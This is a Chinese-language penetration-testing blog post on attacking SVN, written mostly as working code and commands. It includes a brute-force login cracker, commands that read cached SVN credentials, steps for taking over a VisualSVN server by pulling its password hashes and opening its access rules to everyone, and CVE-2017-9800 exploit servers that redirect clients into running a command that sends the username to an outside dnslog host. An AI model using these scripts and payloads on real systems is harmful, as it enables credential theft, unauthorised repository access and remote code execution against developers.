SVN,在渗透中似乎并不是一个被着重关注的点,我们今天简单简单简单探讨下SVN在渗透中的使用。
svn源码泄露
首先,最容易想到的svn源码泄露:使用SVN管理本地代码过程中,会生成一个名为.svn的隐藏文件夹,其中包含重要的源码信息。然而网站管理员在发布代码时,没有使用导出功能,直接进行复制粘贴。
此漏洞的相关检测在AssetsHunter的inforisk模块已经集成了,大家简单参考:
def svn_check(url): try: req = requests.get(url+'/.svn/entries', headers=headers, timeout=3, verify=False) contents = str(req.text).split('\x0c') pattern = re.compile(r'has-props|file|dir') for content in contents: match = len(pattern.search(content).group(0)) if req.status_code == 200 and match > 0: print ("[+]存在svn源码泄露漏洞...\tpayload: "+url+'/.svn/entries') except: pass
至于所谓的exp,也是基于同样原理,随便抓个无脑用就好。
弱口令
啊这,冲就完了,该模块将在下一版本并入AssetsHunter爆破模块。
https://github.com/rabbitmask/AssetsHunter
#!/usr/bin/env python3# _*_ coding:utf-8 _*_''' ____ _ _ _ _ __ __ _| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\'''import requestsuserfile='user.txt'pwdfile='pwd.txt'def Svn_crack(url, user, password): print('Cracking :' + user +' / ' + password) try: res = requests.get('http://' + user + ':' + password + '@' + url, verify=False, timeout=30) if res.status_code == 200: return('Success! user: {} password: {}'.format(user,password)) except: passdef run(url): url=url.replace('http://','').replace('https://','') fru=open(userfile,'r') users=fru.readlines() fru.close() frp=open(pwdfile,'r') pwds=frp.readlines() frp.close() print('加载用户:{}个\n加载字典:{}条'.format(len(users),len(pwds))) break_all = False for i in users: i=i.replace('\n','') for j in pwds: j=j.replace('\n','') res=Svn_crack(url,i,j) if res: break_all = True print(res) break if break_all: breakif __name__ == '__main__': run('127.0.0.1')
明文密码获取
当然这一步是建立在svn client的可读权限下的:
ls ~/.subversion/auth/svn.simple/xxxcat ~/.subversion/auth/svn.simple/xxx
对应Windows环境在这个路径下,但是非明文,经过了Windows的认证加密,感兴趣的小伙伴自行拓展。
C:\Users\xxx\AppData\Roaming\Subversion\auth\svn.simple\xxx
顺便提一下渗透中常用命令:
svn checkout --username admin --password=123456 http://127.0.0.1:8080/svn/ #检出 checkout=cosvn list --username admin --password=123456 http://127.0.0.1:8080/svn/ #查看目录 list=lssvn export --username admin --password=123456 http://127.0.0.1:8080/svn/ #导出svn log --username admin --password=123456 http://127.0.0.1:8080/svn/ #查看操作日志
其中导出和检出区别:
检出的项目仍然被SVN进行管理,和版本库仍然关联。(带.svn目录)
导出的项目相当于一些普普通通的文件,不再和版本库、SVN有任何关系。(不带.svn目录)
这也是我们一般会提svn源码泄露是认为检出或复制粘贴而非导出的原因,不过多说一句的是,通过apache/nginx配置对/.svn/entries进行滤过封禁同样是一个成熟的方案。
所以在渗透活动中,个人倾向导出方式多一些。另外这里有意的掠过了一点,即svn仓库污染来进行xss攻击的方式,因为目前暂未找到擦干净屁股的方案,所以极不推荐。
如果属实懒的话,有web端吖 :http://admin:123456@127.0.0.1:8080
SVN Server掌控
在某些拿到SVN Server的场景下,我们可以做更多事。
常见的的svn server环境我们以VisualSVN为例,在例如C:\Program Files\VisualSVN Server\conf\httpd.conf
的安装目录下我们可以拿到Svnserver的配置信息,如:
svn服务的端口:
Listen "443" https
仓库存储目录下的密码本位置:
/> AuthName "VisualSVN Server" AuthType Basic AuthBasicProvider file AuthUserFile "C:/Repositories/htpasswd" Require valid-user
admin:$apr1$bf$d2UUlCHv9Q1uOnba43l2c0
其加密算法为htpasswd,是开源 http 服务器apache httpd的一个命令工具,用于生成 http 基本认证的密码文件,其解密难度相对较高。
这里可借助hashcat进行弱口令爆破,或者,干脆脱裤本地部署吧!因为这个策略同时还解决了另一个问题,不同账号被分配了不同的仓库访问权限,万一爆出的账户并不具备重要库的访问权限,也是一个尴尬的场面。
以本地test仓库为例,完整拉取该仓库文件夹,处理掉其中的访问限制即可:
C:\Repositories\test\conf\VisualSVN-SvnAuthz.ini
将其中的用户访问限制设置为Everyone,当然这一步也可在VisualSVN Server控制台完成。
# This configuration file stores VisualSVN Server authorization settings. The# file is autogenerated by VisualSVN Server and is not intended to be edited# manually.## DO NOT EDIT THIS FILE MANUALLY!## Use VisualSVN Server Manager or VisualSVN Server PowerShell module to# configure access permissions on your server.[/]*=rw
反向RCE
即2017年的版本控制软件爆出远程命令执行漏洞,涉及Git、SVN、Mercurial、CVS
对应svn的编号为CVE-2017-9800,Subversion无法正确处理“ svn + ssh://” URL中的主机名,攻击者可以利用此漏洞以运行Subversion客户端的用户特权执行Shell命令,例如,在对恶意存储库或包含恶意提交的合法存储库执行“检出”或“更新”操作时,适用场景为攻击该服务器存储库的其它用户,甚至需要夹杂社工。
影响范围:
Apache Subversion clients 1.0.0 through 1.8.18 (inclusive)
Apache Subversion clients 1.9.0 through 1.9.6 (inclusive)
Apache Subversion client 1.10.0-alpha3
这货真冷门,全网翻了个遍,只在joernchen师傅的推特上找到了一丝exp的踪迹:https://twitter.com/joernchen/status/896473816121167872
ruby -e 'require "sinatra";set server: "thin";options "/" do redirect "svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn",301 end'
因为该脚本仅支持本地测试,当然也可以保存为rb文件-o 0.0.0.0
的方式启动非本地访问,但是,考虑到ruby还没入门,只得借助python来补充下了。
#!/usr/bin/env python3# _*_ coding:utf-8 _*_from flask import Flask, redirectapp = Flask(__name__)@app.route('/',methods=['OPTIONS'])def index(): return redirect('svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn',code=301)if __name__ == '__main__': app.run(host='0.0.0.0', port=8443, debug=True)
然后client原理可以参照git利用链理解:由于SSH链接在hostname部分,若是用“-”开头,那么会导致ssh命令将hostname误认为这是一个选项。因此,我们可以利用“-oProxyCommand”选项来达到命令执行的目的,所以可以看到我们的payload部分设定为svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn
。
客户端的复现方案为:svn checkout http://127.0.0.1:8443
你以为这就完啦!!!我果然还是翻车了!!!参见git的利用方式,报错是存在的,但是命令也应该是执行了的,的说。
svn checkout http://127.0.0.1:8443Redirecting to URL 'svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn':svn: E170013: Unable to connect to a repository at URL 'svn+ssh://-oProxyCommand=curl%20`xxx`.rslv4n.dnslog.cn'svn: E125002: Invalid host '-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn'
END
笔者时间关系+这是一个反向RCE+其他的不可描述原因,研究暂且搁置,没有尾巴的一篇笔记,师傅们表打我,希望有相关研究或感兴趣的师傅们私聊/交流,/鞠躬。